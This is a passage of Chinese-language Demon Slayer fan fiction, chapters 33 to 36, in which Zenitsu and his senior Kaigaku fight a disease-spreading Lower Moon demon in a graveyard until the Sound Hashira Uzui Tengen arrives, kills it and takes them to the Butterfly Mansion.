“当然。”他将头摆正,脖子处传来了咔咔咔的声音,开口声似是可惜又装模作样安慰:“你不会活到那种时候,你顶多感受到其中一半的痛苦就会死了。啧。你也可以选择现在被我杀死,就会有一点点疼,之后就不疼了。”
下弦三再次朝着善逸的方向伸出同一只手:“你怎么选呢?”
善逸会怎么选呢?善逸假装在听,其实眼神飘忽,一直在走神。
他心想,眼前的鬼怎么有这么多话说?
就连他上辈子在那田蜘蛛山上被蜘蛛注入毒素的时候,那只巨大的人脸蜘蛛也拿着表至少跟他讲了五分钟的话。难不成是这些变成鬼的家伙平时也每人说话,才逮着一个人使劲开口吗?
之前的他还会被恶鬼的恐吓吓晕,而现在的他只觉得眼前的鬼说个没完很烦。随着离开师兄身边的时间越长,他内心的焦虑就像是没关紧的水龙头,啪嗒、啪嗒、啪嗒,一滴滴砸在心脏之上。
终于,眼前的鬼停下了口,再次向着他伸出刚刚被斩掉的手。
“想让我提前认输吗?”善逸身周冒气电花,一瞬间,“铿铿”两声,善逸的日轮刀重新归鞘,眼前鬼的身体从左肩到右腰被整个斩开,缓缓地向下滑落。
“哈哈,哈哈哈。看来你的选择已经分明了。”下弦三后撤两步拉开距离,伸手扶住自己往下滑的腰身血肉逐渐愈合起来,那道剑气带来的雷电状裂纹也在他身体中涌出的黑紫色粘液的作用下粘贴好。
善逸观察着恶鬼,脸色越发凝重。虽说没有用到呼吸法招式,但他的攻击带来的裂伤居然没办法起到作用……糟糕了。他两三步上前追击,日轮刀直接砍向恶鬼。
“不错嘛,你的速度!!”恶鬼后跳错开他的攻击,接着眼睛瞪大,很新奇地看着善逸身周的隐约电光:“呐,我叫病叶,是下弦三,让我看看你的垂死针扎能到什么程度吧!!”他和善逸的眼睛对上,眼神里全是恶意:“毕竟,你越用呼吸法,被病毒入侵身体的速度越快呦……哈哈!!”
“来吧来吧来吧我的杰作们!!”病叶翻身跳跃躲过向着他身上蔓延的雷光,同时在坟墓之间不停跳跃着,最终停在了正中间的那座坟墓之上:“血鬼术!病尸操纵!!”
随着他向上抬手,被他踩踏过的坟墓中传来阵阵嘶吼,随即,那一个个坟包中蔓延出窸窸窣窣的动静,像是正在挖土的啮齿类动物一般,一分钟后,一个个呈现不同状态腐烂的死尸从坟包中爬了出来,仰天怒吼,接着在病叶的操纵下朝着我妻善逸包围而来!!
“让我看看吧!在这样的包围之下你会怎么做呢?”双手指挥着死尸的病叶眼神中带着恶毒的戏谑:“是选择使用呼吸法然后被加快侵蚀的病毒搞死,还是不使用呼吸法被这些尸体围困杀死呢?我可是很期待啊……”
33.第 33 章
善逸挥刀,直接将向他包围而来最近的两具死尸的头颅砍了下来。
然而没有用,这些从坟墓之中起身的尸体本就是残缺不全的,那被他砍下头的两具尸体很快就捡起掉地的脑袋 重新拼好了自己,继续跟着其他被操纵的尸体一起朝着他跑来。
善逸被这些行尸走肉步步紧逼,每当挥刀砍掉那些死尸又被他们复原,加上远处的病叶还在不停地召唤尸体,最终善逸所面对的病尸竟有百数之多!
在善逸的日轮刀下,这些病尸被不停的切砍又不停的重组,源源不断地向着善逸的方向抓来,让他被迫不停挥刀。
这些死尸从四面八方包围而来,将善逸的身周围得水泄不通,然而这并不是最可怕的。当善逸疏忽之下被旁边抓上来的尸体挠伤了右手臂,发现这些伤痕不仅没有在他体内的变异鬼血的治疗下愈合,反而开始流脓生癍,并且逐渐麻木之时,他才终于体会到这些被操纵的尸体的可怖之处。
“哈哈,忘了告诉你了,”病叶愉悦地注视着被层层包围的我妻善逸,装出才想起来的抱歉样子,一拍脑袋道:“这些被我操纵的尸体,都是我辛辛苦苦感染了病毒之后病死的,所以他们的攻击也会带着些厉害的东西哦~哈哈哈哈!”
这一刻,善逸想起了他们来到镇子里遇见的葬礼,还有听到的传闻之中那些被偷走的病死尸体。当时他和师兄还判断那应该不是恶鬼作祟,没想到居然……!!
“所以,那些病死的镇民,都是你的杰作吗??”善逸大声怒吼着。随着他的怒火,他的身周不自觉地带出来了的蓝色电花,噼里啪啦的在身周张牙舞爪着。
“哈哈哈哈哈哈哈当然了,”病叶得意地开口,伸出一只手来,认真地介绍自己的步骤:“我想想,首先是寻找那些身强体壮,一看就不会生病的人,然后悄悄对他们的身体释放我制造出的病气,不出三天,他们就会在蚀骨的疼痛折磨之下失去意识。”
病叶用右手压下左手的食指:“这是第一步。当然,此时的他们并没有死去,而是心脏与脉搏微弱,呼吸几近于无,但他们依然活着。之后就是我最喜欢的部分了!他们那些愚蠢的亲人会认为他们死了,在哭天抢地之后将他们亲手埋进土里,哈哈哈哈,多么愚蠢。”病叶的眼中闪着疯狂之色他将那只按下了食指的手举的高高的,声音也越发刺耳猖狂,就连围绕在他身周的紫黑色病气都形成了涡旋,以病叶为中心不停浮动着。
“那些人亲手杀死了他们的亲人!所有被埋进坟墓的人都是被憋死的!哈哈哈哈……”病叶拉下第二根手指,接着讲述“等到他们彻底死亡,所有在他们身体中生长的病菌们将彻底接管他们的□□,在某一天的晚上,破土而出,逃离那个被至亲之人设下的断头台,来到我的身边,而我,将发挥他们最后的价值,并给他们永远的安身之所!!”
病叶掰下他所有的手指,随后双臂展开,指向那些不停向着善逸挤压的死尸们:“他们将为我捍卫我的领地,为我征战,为我转化更多的同伴、更好的病气,为我付出他们的一切!!”
“呐,我的耳朵非常灵敏,甚至能听到人的心声,所以经常被我的师兄讨厌。”善逸依然不停地闪躲着朝他而来的死尸,同时加大了自己的声音,朝向不远处那只恶鬼开口:“你在讲述那些被你病死的健康人、被亲人埋葬的死者时,口中的大笑,掩盖不住你内心中的情绪哦。”
“嫉妒……对吧?你在嫉妒那些身体健康的人,嫉妒那些被亲人带着感情埋葬的人。为什么呢?难道是因为你曾经是个虚弱到时刻会死亡的病人?因为你被家人放弃了,甚至就连马上要死的时候,都没人愿意埋葬你?啊啊,那真是可怜啊。”
病叶疯狂的大笑瞬间收敛,死死地盯着在死尸之中的善逸,眼神阴鸷可怖:“你在说什么呢?马上就要死的小鬼。”
“戳穿你了吗?真是抱歉,但是没办法,刚刚你嫉妒的声响甚至要吵到我听不清你讲话了。”
病叶面无表情,用像是看死人的眼神看着善逸,两三秒后又松下表情,假装不在意的样子:“真是的,和你一个马上要死的小鬼争论什么呢,只不过是无能者的垂死挣扎罢了。放心,我才不会在你死后将你的尸体利用到死呢,哈哈。”
病叶用力扯出笑容,脸皮却在他的使劲之下抽搐着,显得越发狰狞:“我也没时间继续和你这个小鬼绕圈子了。早点,早点,成为我的病气培养基吧!!”
在他话落的一瞬间,善逸身周的死尸们发出剧烈的吼叫,比之前猛烈更多的攻击朝着善逸袭来。
不能再这样下去了!!为了不吸入更多空中的病气导致身体里如诅咒一般的病毒继续蔓延,善逸没办法大规模地使用自己的呼吸法。然而这种情况下,不使用呼吸法只有死路一条!!
善逸再次想起了自己独自战斗的师兄。可恶,不击杀眼前的恶鬼,就没办法去找师兄,没办法得知师兄的状态,没办法确保师兄的安全……
只要在诅咒病气侵袭全身之前杀死鬼,之后再用呼吸法控制身上的诅咒,他就能去找狯岳了!!
于是,在病叶指挥着所有的死尸都冲了上去,将我妻善逸包围在正中央,以为他必死无疑之时,刺眼的黄色闪电的光芒从包围之中亮起!
“雷之呼吸 一之型 霹雳一闪!!”
刹那,包围着善逸的病尸们全部炸开,那些加诸于善逸的霹雳一闪之上的,被呼吸法加强千百倍的蓝色电光直直灼烧在那些病尸之上,在这样的攻击之下,那些病尸一寸寸裂开,碎在地上,再也无法复原。
善逸没有停歇,他继续使用霹雳一闪,将包围着他的所有病尸全部砍碎,直到整片坟墓中能够站起身的,只剩下他和病叶两个。
那些被霹雳一闪加上裂伤撕裂的病尸们,在碎裂的一瞬间释放出了大量的病气,被他们包围着的善逸吸入了许多。虽说此时他还在尽力地抑制体内被侵蚀的血肉,然而在呼吸法之下,血液加速流动,身体的各处也随之开始运转,刚刚压制病气扩散的手段失效,他的体温不可避免地继续升高,浑身的肌肉也更加疲惫无力,那些被压制的癍纹再次扩散,从他的左侧额头直接扩散到了左眼上。
更糟糕的是,受到病气影响,他的左眼视力开始下降了!
不行,现在空气中的病气浓度还是太高。善逸脚下一踏,三两步离开那一堆碎尸,然后看向了依然在源源不断散发病气的腐尸池。<
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p>要降低病气,必须得毁了那东西。
决定好的我妻善逸闪身来到那腐尸堆旁边,用日轮刀直直劈向腐尸周围的土地上。
一瞬间,雷光乍亮,那些原来平坦的土地瞬间被这破坏性极强的雷电炸裂,整个地面都向下陷,那腐尸堆也跟着土地一起陷进了坑中。随即,善逸继续挥刀,唰唰砍掉了附近的坟头,将那些本就从内部破坏松散的泥土直直引到这腐尸堆之上,掩盖住这堆污染源,当确保所有的尸体都被泥土覆盖后,最后一下,善逸将日轮刀重重地插进了泥土之中。
他调动全身的肌肉,催动体内的电流流动,让那些具有强大破坏性的电流顺着日轮刀深入到泥土掩埋的腐尸之中,然后在地面亮起的瞬间,那些被用来当做病气培养基的尸体们,化作了飞灰,藏在了泥土之下。
控制体内能造成裂伤的电流造成大量的破坏,这是他在桃山上开发出来的新招式之一。
“你在做什么啊!!!”本来还在幸灾乐祸于那个小子终究还是使用了呼吸法,在猜他会在多长时间之后完全倒下,没想到,那家伙在脱困的第一时间,竟是冲上去将自己培养的病气池完全地毁掉了!!
“住手!!”他那被鬼血强化的身躯的速度,竟是完全比不上那个剑士小子的速度!!等到他来到病气池面前,那些能够散发病气的腐尸,连带着那之中的病毒,已完全在我妻善逸的雷电中化作焦土,不给他补救的机会。
“你小子!!!”病叶暴怒了,他瞬间靠近那个将他辛辛苦苦培育的成果毁于一旦的可恶家伙:“血鬼术!!病骨支离!!”
瞬间,无数的白骨从他的身体中抽出,直直地扎向我妻善逸的方向:“将我的病气们摧毁的家伙,就来当我的培养基吧!!!”
善逸双腿冒出电花,在呼吸法的加强之下,迅速地绕过向他扎来的白骨,同时挥刀砍断那些骨头。
咔嚓!!出乎他的意料,那些白骨很容易就被破坏,然而被破坏的瞬间,自己体内那些被感染的血肉像是得到什么感应一般,速度加倍地蔓延,那些不停鼓动的血肉让他的身体不停升温,不一会儿,善逸就觉得自己的身体中冒出了被煮熟的牛肉的味道。
不好!
“嗬!!”虽说在破坏掉那腐尸堆之前他已经将他们掩埋,但是光是掩埋之前的那段时间,吸入的气体就够他喝一壶的了,加上刚刚砍断那些白骨后的意外,那些侵入他体内的病气迅速地蔓延,此刻,他的左眼已经完全失明,癍纹已经侵蚀到了他的右眼,还有他的四肢,他躲避那些白骨的动作越来越迟缓,被侵蚀的部位已然麻木,就算有雷电的刺激也无法控制;未被侵蚀的部位也因高温而被鬼血不停刷新着,整个人像是一台即将完全报废的汽车,驾驶员还在努力挪转着方向盘,然而已然濒临失控。
善逸的脑袋被高温烘烤得思维模糊,然而他已然知道自己的处境。
现在的身体,只能够,拼死一搏了。
“雷之呼吸 一之型 霹雳一闪!!”
金色的闪电完全包裹住了我妻善逸,一瞬间,他猛然朝着病叶的方向袭来,一路上撞断了七八根被病叶召唤而来的病骨,日轮刀猛的向着恶鬼的头颅砍出!!
34.第 34 章
在日轮刀即将触碰上病叶的脖子之际,病叶召唤出最后一根病骨。
与此同时,连续破坏了无数病骨的善逸,在此刻,右眼彻底被癍纹占据,最后一点视力消失,陷入完全的黑暗之中。
“铛!!”
当日轮刀传来声音时,他就知道,他这最后一博完全没起到作用。
他踩着那最后出现的病骨向后翻身,依靠听觉判断险险躲过病叶的袭击来的拳头,之后连续后撤,拉开了自己和恶鬼的距离。
他完全失去了视力,在没有声音的情况下,他没办法根据周围物体的回声反馈判断出物体的位置,此时只能够依靠体表皮肤感受到的风和以往的战斗经验勉强躲避病叶的袭击。然而,这并不是能够战胜恶鬼的手段。那些癍纹还在用疯狂的速度侵蚀着我妻善逸的皮肤,一旦被占据,就再也没有了触觉,这样眼瞎加上触觉缺失,被恶鬼杀掉只是一瞬间的事情。
善逸的动作越来越缓慢,病叶也注意到了这一点。在这种善逸被病毒侵蚀的最后时间,他倒是不想要立即杀死他了。
病叶收回向着善逸身上扎去的病骨,饶有兴致地注视着眼前人被病菌侵蚀到无法动弹,就连手中的日轮刀都逐渐滑落的样子,期待他被疼痛折磨到在地上打滚,请求自己杀死他的丑态。
对的,对的,就这样,被病折磨,被病扭曲,被病同化吧!!所有人,所有人,在病痛面前,都只能平等的跪伏在地!祈祷自己被病痛放过,或者立马被病痛杀死!!
善逸的脑袋昏昏沉沉,身体三分之二的区域都被癍纹覆盖,几乎已经没有了对身体的知觉,茫然无知地站在那里,连他的日轮刀已然脱手都无法得知。
在一片空茫的世界中只剩下了他的身体如灼烧般的疼痛。再次睁眼,他又回到了无限城中,眼前是变成恶鬼的师兄。
“废物,你就这点能耐吗?”师兄笑得肆意而猖狂,眼神里明晃晃的都是对他的蔑视:“口口声声说要保护我,说要从恶鬼手下救下我,却没想到,先要死在恶鬼手下的是你。”
师兄的手狠狠地掐上自己的下巴,强迫自己和他对视,那双黑绿色的眼睛直直地望向自己的眼底,那戏谑转化成为了失望与厌恶:“只会说大话的废物,有什么资格和我一起成为雷呼的继承人呢?”
说完后,师兄松开他的脸,好似已经对他全然厌烦。“滚吧,废物。”说完,师兄的手猛然推上他的肩膀,他整个人向后仰去直直地摔了下去。
师兄、师兄、师兄!!!我才,没有在说大话!我可是要和你一起成为鸣柱的人啊!!怎么会死在这里!!!
他双手拼命前伸,想要抓住师兄的衣袖,然而只能看着师兄的身影越来越远,自己不停下坠,不停下坠……
忽然,他再次落地,睁眼时又对上了师兄的脸。
是这辈子的师兄!
他激动地想要伸手抱住还只有十岁的师兄的身躯,然而身体却怎么也不能动弹。于是,他眼睁睁地看见师兄被从旁边突然冒出来的恶鬼抓住了脖子,用一根指头插进了师兄的脑门。
师兄!!大哥!!!!狯岳!!!!
放开他!!!放开他!!!
善逸面色狰狞地想要冲上去,杀死这个正在向师兄输送鬼血的恶鬼,然而他的身体却完全没办法回应他,依旧像是一潭死水,他只能愤怒却无力地看着师兄在恶鬼手中挣扎,直到师兄再次睁眼,眼睛变成了黑绿色。师兄的身形一瞬间拔高,变成了无限城中那只恶鬼的样子,用蔑视的神情看向他。“即便重来一世,你也什么都改变不了。真是废物,善逸。”
啊啊啊啊啊啊啊啊啊啊啊啊啊啊
在目睹师兄再次变鬼的一瞬间,善逸体内那些跟着他穿越时空了的鬼血直接沸腾,原来只能在身体内刷新被滚烫的温度烤熟的组织,完全拿那些被病气侵蚀的区域没办法的血液,此时打响了全面反攻的号角!
那些变异的鬼血们重回被侵蚀的区域,在血液内雷电的破坏之下,肆虐的病毒被斩杀的七零八落,原来已经近乎不再起伏的胸腔重新进气,心脏跳动血液轮转,就连肌肉也重新回到了大脑的控制之中!
“嗬——嗬——”
重新开始的大量气体交换让善逸的嗓子里挤出稀碎的声响,全身再次冒起大量的蓝色电花,将他整个人都包围,像是要将所有都燃尽一般,将这具看上去好似已必死无疑的躯体燃烧!
“怎么?他还有力气?”旁边等待他死亡的病叶被这样反常的动静惊住,上前两步查看,下一秒,只见一道带着大量电光的攻击直接落到了他眼前!!
病叶连忙侧身,然而攻击比以往的所有攻击都要快,唰啦一声,他的左臂带着左肩膀被完全斩下,同时大量的裂痕出现在刀痕的周围,灼烧着病叶的血肉。
“不可能!!你怎么还能有这样的力气?!!你该病得不能动了才对!!”病叶不可置信地看着在一瞬间就完成了捡刀-拔刀-斩击的我妻善逸,躲过他的下一道攻击,并试图回复自己的左臂。
然而——完全不行!!那些附着在攻击上的烧灼裂伤一刻不停地干扰着他身体内的鬼血,完全没办法催动他们去恢复伤势!
这种感觉,像极了上位鬼对于下位鬼的压制!然而——不可能!!眼前的人,可是鬼杀队的剑士!!
“你到底是谁?!!!”病叶几乎要将眼球从眼眶之中瞪出来了,然而此时的善逸根本没有搭理他的余韵。虽说善逸体内的鬼血正在跟病气抢地盘,但消化掉这些病毒需要时间,短期内,善逸还是处于双眼失明的状态。此时的他想起了曾经师兄用聚蚊成雷的细小雷电确认自己方位的方法,将体内由鬼血带来的似是血鬼术一般的雷电向外扩展,再通过仔细聆听这些电流触碰到不同物体时的细小动静,在脑海中还原出周围的景象。
善逸的体内完全成为了鬼的血液与病菌争夺的战场,导致他的身体状态并不佳,动作时有卡顿。然而那些破坏力极强的雷电在经历过了这番淬炼后,变得更加可怖,破坏力成指数增强,同时善逸对这些从上辈子的师兄那里抢来的东西的控制力越发强劲,如臂指使。
所以,现在的善逸在没办法以最佳的状态使用呼吸法的同时,攻击附加的裂伤也更加强力,没办法一击解决病叶,但给病叶造成的威胁很大,两方之间完全僵持住了。
不过,此时的僵持和之前善逸因不使用呼吸法造成的僵持完全不同,对此时的善逸来说,僵持的时间越长,对他就越有力。
他体内的病气被完全压制之时,就是病叶的死期!
他们双方对这件事情都心知肚明,于是病叶不停地在善逸身边投射病骨,并时不时张口吐出毒气,试图加强善逸体内的病毒活力,而善逸也冷静地根据身周雷电的反馈,径直避开了这些攻击,同时也绕开那些出现在他脚下的病骨不给病叶增强自己体内病毒的机会。
而狯岳,就是在此刻降临到了这片地方。
善逸正在和病叶战斗,突然,他的耳边重新出现了熟悉的心跳声,让他的动作生生慢掉一拍,脚下差点踩到窜出来的病骨,而病叶也趁此机会直直将爪子抓向他的脸!
“当!”善逸抽刀挡下这一击,
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同时脸朝着师兄心跳的地方望过去,大喊:“师兄!别吸到这些毒气!!”
善逸抵挡着病叶的攻击,同时认真倾听师兄身体内发出的声音。心跳的声音、肺部的呼吸声、血液流动的速度以及肌肉收缩、骨骼移动的声音,这些常人无法聆听到的声音帮助善逸判断着师兄身体的情况。血液和心跳正常,肌肉收缩的动静有些钝,师兄的身体有些疲惫了。还有肺部的动静,看来师兄还是吸入了些病气。
师兄已经疲惫,然而此刻将他劝离也不可能。善逸聆听着师兄一步步朝他跑来,在担忧又无奈的心情之外,刚刚被另一位师兄在梦中恐吓所带来的不安心情,以及师兄变鬼的恐惧,总算是暂时从他心中缓缓消退了一些。
不管怎么说,狯岳的到来,让心中始终在焦虑的善逸好了不少。
他的面部朝着狯岳的方向转动,想尽力对师兄释放自己状态还好的信号。然而就在这一瞬间,狯岳的呼吸声陡然变得粗重。
啊,不好,忘记自己脸上被病气感染侵蚀留下的斑痕了。
善逸将自己的脸往反方向藏了藏,假装若无其事的对面色难看的狯岳说:“师兄,你来得刚好!辅助我给这个恶鬼最后一击!”
“你这个蠢货!!!”和善逸那双在癍纹之中空茫的眼神对视的一瞬间,狯岳立刻发现了问题:“你看不见吧?!!”
那双以往不管是明亮还是暗沉,都闪耀着蓝黄色电光的眼睛,此时变得暗淡失神,没有聚焦点,眼瞳旁边甚至有白色的阴翳试图笼罩整个眼球,看上去苍白而病态。
“啊,不小心被师兄发现了。”善逸一个闪身躲过病叶喷出来的紫黑色病气,并反手砍掉他的臂膀,接着向后三两下跃到自己的师兄旁边,带着他躲过那些被病叶召唤而来的病骨:“没关系的哦师兄,我还是可以保护你的。”
“先保住你自己的小命再说吧!!”狯岳挡下病叶向着善逸后背抓来的动作,同时试图调动体内的力量再次释放呼吸法。
“呃!”在狯岳挤压自己胸腔的一瞬间,被腐蚀的痛感再次蔓延,本就在刚刚的战斗中感到疲惫的身体此刻更是不听使唤。狯岳咬牙,硬是压迫着自己的身体,再次释放出招式:“雷之呼吸 四之型 远雷!!”
“你是那小子的师兄吗?攻击可远远不如那小子啊!!!”病叶轻松地躲过狯岳带着电光的攻击,“太慢了!”
“我的目的,可不是砍中你啊!!蠢货!!!”在发现病叶躲过了自己远雷的那刻,狯岳笑容猖狂,转身让出身后的位置!
只见,狯岳的身后,是蓄力已久的我妻善逸!!
“雷之呼吸 一之型 霹雳一闪 神速!!”
善逸不顾身体内已久没有回复的麻木感,在狯岳放出远雷的一瞬间,像一发带着金光的箭矢,转瞬间就到达了恶鬼的眼前!!
同样的一招,这次使用的威力可比在舌鬼哪里强十倍,善逸被加持到最快的速度根本没给病叶留逃脱的余地!!
“尝一尝我们雷之呼吸的威力吧!恶鬼!!”
抽刀的瞬间,病叶的头颅顺着日轮刀的力道滑落在地,身首分离。
“呼——”善逸长长呼出一口气,周身的电光也在落地的瞬间收敛。他转过身朝向狯岳的方向,嘴角扯出了个傻傻的笑:“师兄,我们赢了!”
狯岳也大大松了口气。他看着呆呆站在哪里的人,心中的火气再次上窜:“怎么把自己搞成这样……小心!!!”
霎时间,变故突生——那被砍下头颅的鬼躯,竟再次向着善逸的方向射出病骨!!
35.第 35 章
“小心!!!!”
我妻善逸当然听到了他旁边恶鬼的声音,然而正当他打算动作时,体内所有被侵蚀的细胞在一瞬间发烫,双手双脚同时不受掌控,彻彻底底将他控制在了哪里。
“喝啊——!!!”那无头的恶鬼身躯,右手中握着一只泛着紫黑色不祥气息的病骨,直直扎进我妻善逸的胸膛之中!!!
“善逸!!!”哪怕狯岳在第一时间拔刀向前,但是他却依然慢了一步,眼睁睁注视着我妻善逸被刺穿胸腔,一瞬间脸上血色全失。
“我妻善逸!!”狯岳颤抖着手握住刺穿善逸胸膛的骨头,想要将这个看上去极其不祥的病骨抽离,然而没有病骨的阻挡,善逸的伤口出血量会非常大。怎么办?
“师兄,抽。”善逸的声音带着虚弱感,但是依然冷静而坚定:“你忘记了,我的自愈能力很强。”
是了,曾经在桃山时,善逸向他和师父展示过他的神奇恢复能力。在那样的自愈力下,这样的伤口,不会出问题的。
狯岳安定了心神,稳定住自己的手,咬牙一下将那只骨头抽了出来,尽量不对善逸造成二次损伤。
在狯岳拔出病骨的一瞬间,血液大股大股向外涌,然而眨眼的时间内,那狰狞可怖的伤口就开始愈合,三秒后就只剩下了一个泛着紫红色的伤疤。
然而,尽管我妻善逸的伤口已经愈合,他的手脚依旧麻木得无法移动。
那只刺伤他的病骨给他带来的不知有外伤,还将大量的病气结晶直接注射到了他的躯体之中!!
“呃啊!!”善逸努力地调动自己的身体,但是那些大量在体内集结的病气直直地冲向他的身体各处,将他原本逐渐恢复的状态直接顶了回去,他再次陷入了知觉缺失的状态。
“是不是完全没办法移动了??”恶鬼的声音在他们身后想起,带着阴险与得意。
“不可能!!怎么会——”狯岳带着我妻善逸从恶鬼的手下转移,同时看向旁边掉落的恶鬼的头——只见那头颅已经被善逸的攻击裂伤粉碎,但是!那恶鬼的身躯依然在活着!!
“怎么可能?!!!”
“为什么不可能呢?病可不是那么好杀死的东西。”在那无头的身躯中,病叶用仅剩的右手拉开自己胸前的和服,漏出他长在胸膛上扭曲的脸。
在判断自己躲不过攻击的一瞬间,病叶紧急运用自己创造出来的病气感染大脑,将其转移到胸腔的位置,凭着此招才得以苟活了下去。
“我不否任那个小鬼的能耐,但你们终究棋差一招,今天便要死在我的手中!!”病叶的脸上露出猖狂的笑,直直地朝着两人的方向前来!!
可恶!!狯岳感受着自己的躯体。杀死舌鬼时他用了很多次呼吸法,现在他的双腿已然麻木,没办法再释放出极速的攻击!再加上在肺部肆虐的病气,让他的每一次呼吸都带着极致的灼烧疼痛,呼吸的频率也在不断下降——可恶!!
然而,现在,不能结束!!就算是完全没有雷呼的速度的攻击他也要出手!!
“还早着呢!!就算那个废物不能动,但我还没结束呢!!”狯岳将我妻善逸僵直的身躯放在身后,调动身体里最后的力气,直直向着病叶的方向冲去!
“雷之呼吸!!五之型!!热界雷!!”黑红色的闪电在狯岳的日轮刀上蔓延,正当他要斩出去的一瞬间……
“太慢了,小子。”病叶的右手极速甩出一只锋利的骨棒,直直扎进了狯岳的肺中,巨大的冲力将他死死地钉在地上。
“呃啊!!!!”
病叶没管刚刚被他按下去的狯岳,直直向着善逸的方向走去。
他来到双目空茫、四肢僵硬的我妻善逸面前,伸手,抓住他的脖子,将他提了起来,仔细观察他那双还隐隐藏着闪电的眼睛。“我不知道你那像是血鬼术的能力是从哪里来的,居然可以压制我的病气,还能够压制我的再生。但是。”
他的手掌攥紧,善逸的脖子传来咔咔的响声。
“只要我吃掉你,你的能力就会成为我的能力了吧?”
病叶缓缓的、缓缓的将我妻善逸向着自己的方向拉去。
“善逸——!!!”地上的狯岳狰狞地将自己从地上拔起来,带着那节穿透他的骨棒,一步步朝着我妻善逸的方向跑去。
与此同时,善逸的右手青筋暴突,直直地抓向恶鬼抓住他脖子的手!
然而,在这一瞬间,一声炸响突然出现在他们耳边!!
“轰!!!”霎时间,烟尘四起,善逸猛然感觉自己的身体腾空,被人夹在了胳膊下面。
“呦!看来我还没来晚啊!!”等到烟尘散开,狯岳的视线之中,一个身高接近两米,穿着无袖鬼杀队队服的男人突然出现!
善逸听到了熟悉的声音一瞬间,暴起青筋的右臂猛然放松下来,任由自己被捞走。
那个,华丽的,有着三个老婆的人啊。
不用担心了。
那人将手中揽着的善逸放在了狯岳身边,拍拍两个人的头:“能坚持到现在,你们两个还算华丽!!”
狯岳扶住被放下来的善逸,眼神呆滞地看着这个一上来就扔炸弹的家伙。
只见那家伙白发红瞳,左眼眼周画着放射装的红色眼妆,头顶的宝石护额和两侧的珠链都在微微光线的照耀下散发着耀眼的光芒。他那肌肉鼓起的双臂上带着两个金色的臂环,向后伸展,从身后拔出两把用铁链连接在一起的日轮刀,向前倾身,嚣张地大笑道:“接下来,就让最华丽的我来救场吧!!”
在他话语落下的一瞬间,这个存在感极强的男人的身影突然从狯岳的视线中消失了!!
“什——???”狯岳连忙转移视线,只见刚刚还在他们身边的男人此刻已经冲到了恶鬼身旁!!“他是谁?!!”
狯岳的手背忽然被一股滚烫的热意覆盖。他转头对上师弟的脸,我妻善逸凑到他的耳边宽慰:“放心,师兄,他很厉害。”
“……你感觉怎么样??”善逸的身体滚烫到骇人,身上覆盖的癍纹还在不停鼓动着看上去十足吓人。
“没事,给我一段时间我就能恢复好。”善逸的话并不是宽慰师兄的谎言
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。此刻,他身体中正在进行着一场争夺与进化,虽说在病叶的影响下,那些病气的活跃度更高,然而他体内的变异鬼血正在一点点消化那些被污染的血肉,并将他们炼化成自己的东西。善逸有预感,在这次的麻木过后,任何的病菌毒素都不再能威胁他的身体。
得知善逸还好,狯岳的目光重新转移到人与鬼的战场上。他眼见场上的双方正在进行激烈的近战,连忙开口!
“小心!!他会释放病气!!!”狯岳大声提醒!!
“放心!!就这点毒气是影响不了身为忍者的我的!!!”那男人手中无声抛出两枚黑色的小圆球,接着日轮刀直直砍了上去:“轰!!”
“啊啊啊啊啊啊!”病叶被这不知为何能对他造成伤害的炸弹炸得浑身灼伤,左闪右逃,想要从这个让他感觉到巨大压迫感的男人手下逃跑,然而——
“哦,已经被砍掉头却没有死吗?”那男人不知何时出现在了病叶的身后,仔细观察着他扭曲的身形。
“既然如此,如果我华丽地将你的身躯切碎,你还能够继续活下去吗?”
一瞬间,濒死的恐惧落在了恶鬼身上,他仿佛再次回到了自己要被病死了时候。那种生命即将化作黄土的预感,再次降临在他的心间。
然而,当时被扔在乱葬岗的他尚能等到无惨大人,此时,他又能等到谁呢?
快逃快逃快逃快逃快……
对于活着的欲望驱使他迅速逃离这片地,就连那个他看中的病毒培养基他都不要了,只要他能活着!!只要他能能活着!!
这一刻,他甚至怨恨起了两善逸传送到他这里的舌鬼起来。要不是舌鬼,他今天怎么会到这种地步!!
然而,已经来不及了。
刀光在病叶没注意到的一瞬间划过他的身体,下一秒,他的肢体四分五裂地掉落在了地上,被灼烧着化为飞灰。
“呼~”轻松杀死了病叶的男人将自己的日轮刀插回身后,用手背抹过自己头顶的护额:“华丽的我再次华丽地干掉了恶鬼~”
他转过身,向着善逸和狯岳的方向走来:“你们两个,还好吗?”
狯岳吸了口气,然后呛咳出声:“咳咳咳!!”
没办法,他的肺部被贯穿,此时就连插入其中的骨头都没拔出,每一次呼吸都疼得要死。
他扶着的善逸更不用说,依然处于双目失明,腿脚麻木的状态,身体像是火炉一般,就连狯岳扶着他的手臂都觉烧灼。他向着男人的方向点了点头,只是是个人都能看出来他现在的状态不好。
“要立刻将你们送到蝶屋去了。”男人严肃了神情,一手一个将他们捞起,三两步就向着远方跑去。
“等……等!”狯岳忍住即将昏厥的疼痛,头脑昏沉地扯了扯男人的衣服:“镇子中心……酒楼旁的院子里……还有被砍掉了腿的人……会死……”
“我知道了,到时候会有隐部队的人去那边救助的。”
“那……就好……”
下一秒,狯岳扯男人衣服的手滑落,意识彻底陷入了一片昏沉之中。
36.第 36 章
善逸被男人捞着极速地在山林中穿梭。为了照顾他们两个病患(尤其是还被插着肺的狯岳),男人的脚步非常稳。他们在半路上遇到了被男人甩掉的鎹鸦纹五郎,三人一鸦向着蝶屋的方向移动。
路中途,因为有信任的强者在身边,加上高温烘烤得脑袋晕晕沉沉,善逸竟也在男人的手中睡了过去。
再次睁眼,就对上了男人暗红色的眼睛。
“呦,小子,醒的很快嘛。”那男人正斜坐在旁边的病床上,单臂撑着病床的床头,饶有兴味地看着他。
善逸茫然眨眼,大脑仿佛被高温熨平过,一瞬间没反应过来现在是什么情况。
见到善逸茫然的样子,眼前的人自动开始了自我介绍:“我是鬼杀队华丽的音柱宇髄天元大人!看在你与下弦的战斗还算华丽,我作为华丽的祭典之神,认可你!小子!好了,现在报上你的名字!”
这一长串槽点满满又似曾相识的话总算唤醒了善逸的回忆。对了,好像他在砍下弦的时候被强制脱离了战场,师兄也被钉在了地上,之后就是这辈子的音柱前来救场的……等等——师兄呢??
善逸瞬间从床上坐起,左右寻找自己师兄的身影,一反手,触碰到了另一个人的体温。
原来师兄在旁边啊。
善逸紧绷的身体松懈下来,将注意力放在了蜷缩在自己身旁的师兄身上。
此时师兄的左手正紧紧握着自己的右手指尖,在睡梦之中眉头特紧蹙着,非常不安稳。
两个人都穿着病号服,从师兄没有系好的扣子中,善逸看到了他被绷带缠满的胸腔。
他默默将两个人盖着的被子向上拉,遮掩严实刚刚因他起身而出现的空隙。
